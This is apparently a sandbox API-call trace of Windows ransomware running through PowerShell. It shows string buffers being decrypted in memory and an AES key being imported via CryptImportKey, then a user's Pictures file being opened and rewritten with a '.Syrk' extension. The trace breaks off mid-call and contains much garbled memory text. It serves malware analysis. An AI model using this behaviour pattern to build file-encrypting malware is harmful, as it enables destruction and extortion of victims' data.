(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0245.959] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0245.959] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.959] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0245.959] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.959] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0245.959] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0245.959] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.960] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0245.960] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.960] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0245.960] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0245.960] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.960] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0245.960] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.960] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0245.960] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0245.960] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.960] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0245.960] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.960] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0245.960] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0245.960] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.961] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0245.961] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.961] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0245.961] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0245.961] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.961] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0245.961] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.961] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0245.961] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0245.962] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0245.962] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0245.962] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.962] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0245.962] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.962] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0245.962] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0245.962] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.962] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0245.962] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.963] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0245.963] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0245.963] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.963] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0245.963] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.963] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0245.963] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0245.963] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.963] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0245.963] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.963] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0245.963] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0245.963] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.974] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0245.974] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0245.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0245.974] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.974] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0245.974] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0245.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0245.974] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.974] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0245.974] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.975] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0245.975] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0245.975] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.975] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0245.975] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.975] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0245.975] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0245.975] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0245.976] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0245.976] SystemFunction041 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.976] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0245.976] SystemFunction040 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.976] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0245.976] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0245.976] SystemFunction041 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.976] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0245.976] SystemFunction040 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.976] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0245.976] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0245.976] SystemFunction041 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.977] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0245.977] SystemFunction040 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.977] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0245.977] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0245.977] SystemFunction041 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.977] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0245.977] SystemFunction040 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.977] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0245.977] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0245.977] SystemFunction041 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.977] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0245.977] SystemFunction040 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.978] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0245.978] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0245.978] SystemFunction041 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.978] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0245.978] SystemFunction040 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.978] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0245.978] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0245.978] SystemFunction041 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.978] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0245.978] SystemFunction040 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.978] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0245.978] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0245.978] SystemFunction041 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.979] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0245.979] SystemFunction040 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.979] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0245.979] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0245.979] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0245.979] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0245.979] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0245.979] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0245.980] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0245.980] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0245.980] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0245.980] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0245.980] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0245.980] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0245.980] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0245.980] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0245.980] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0245.980] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0245.980] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0245.980] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0245.980] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0245.981] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0245.981] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0245.981] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0245.981] EtwEventActivityIdControl () returned 0x0 [0245.981] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0245.981] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0245.981] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0245.981] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0245.983] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d430) returned 1 [0245.985] CryptImportKey (in: hProv=0x5c4d430, pbData=0x237150c*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99820) returned 1 [0245.985] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0245.985] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.986] EtwEventActivityIdControl () returned 0x0 [0245.986] EtwEventActivityIdControl () returned 0x0 [0245.986] EtwEventActivityIdControl () returned 0x0 [0245.992] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\2r7o-shzef3qr6zs_c.gif")) returned 0x20 [0245.993] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\2r7o-shzef3qr6zs_c.gif")) returned 0x20 [0245.993] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0245.993] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", lpFilePart=0x0) returned 0x32 [0245.994] EtwEventActivityIdControl () returned 0x0 [0245.994] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.994] EtwEventActivityIdControl () returned 0x0 [0245.994] EtwEventActivityIdControl () returned 0x0 [0245.994] EtwEventActivityIdControl () returned 0x0 [0245.998] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0245.998] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", lpFilePart=0x0) returned 0x32 [0245.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0245.998] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\2r7o-shzef3qr6zs_c.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4 [0245.999] GetFileType (hFile=0x3c4) returned 0x1 [0245.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0245.999] GetFileType (hFile=0x3c4) returned 0x1 [0245.999] EtwEventActivityIdControl () returned 0x0 [0245.999] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.999] EtwEventActivityIdControl () returned 0x0 [0245.999] EtwEventActivityIdControl () returned 0x0 [0245.999] EtwEventActivityIdControl () returned 0x0 [0246.000] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0246.000] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif.Syrk", nBufferLength=0x38, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif.Syrk", lpFilePart=0x0) returned 0x37 [0246.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0246.001] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\2r7o-shzef3qr6zs_c.gif.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0246.002] GetFileType (hFile=0x454) returned 0x1 [0246.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0246.003] GetFileType (hFile=0x454) returned 0x1 [0246.003] EtwEventActivityIdControl () returned 0x0 [0246.003] CryptGenRandom (in: hProv=0x5c4d430, dwLen=0x10, pbBuffer=0x2382584 | out: pbBuffer=0x2382584) returned 1 [0246.004] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0246.004] CryptDuplicateKey (in: hKey=0x5c99820, pdwReserved=0x0, 